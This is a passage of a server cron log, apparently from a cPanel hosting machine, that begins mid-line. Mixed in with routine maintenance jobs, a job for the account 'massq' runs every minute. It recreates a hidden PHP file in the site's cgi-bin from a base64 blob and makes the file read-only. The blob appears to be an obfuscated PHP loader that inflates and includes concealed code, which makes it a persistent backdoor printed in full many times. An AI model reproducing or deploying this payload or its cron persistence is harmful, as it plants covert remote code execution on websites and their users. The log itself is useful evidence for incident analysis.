J5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:17:01 server CROND[32678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:17:01 server CROND[32679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:17:01 server CROND[32680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:18:01 server CROND[758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:18:01 server CROND[759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:18:01 server CROND[761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:19:01 server CROND[1234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:19:01 server CROND[1236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:19:01 server CROND[1237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:20:01 server CROND[1685]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:20:01 server CROND[1686]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:20:01 server CROND[1684]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:20:01 server CROND[1691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:20:01 server CROND[1700]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:20:01 server CROND[1702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:20:01 server CROND[1701]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:20:01 server CROND[1709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:20:01 server CROND[1706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:21:01 server CROND[2635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:21:01 server CROND[2636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:21:01 server CROND[2637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:22:02 server CROND[3070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:22:02 server CROND[3071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:22:02 server CROND[3072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:23:01 server CROND[3650]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:23:01 server CROND[3651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:23:01 server CROND[3652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:24:01 server CROND[4060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:24:01 server CROND[4061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:24:01 server CROND[4062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:25:02 server CROND[4484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:25:02 server CROND[4486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:25:02 server CROND[4487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:25:02 server CROND[4491]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 20:25:02 server CROND[4490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:25:02 server CROND[4485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 20:25:02 server CROND[4488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:25:02 server CROND[4489]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 20:26:01 server CROND[5393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:26:01 server CROND[5394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:26:01 server CROND[5395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:27:01 server CROND[5821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:27:01 server CROND[5822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:27:01 server CROND[5823]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:27:01 server CROND[5824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:28:01 server CROND[6187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 20:28:01 server CROND[6188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:28:01 server CROND[6189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:29:01 server CROND[6831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
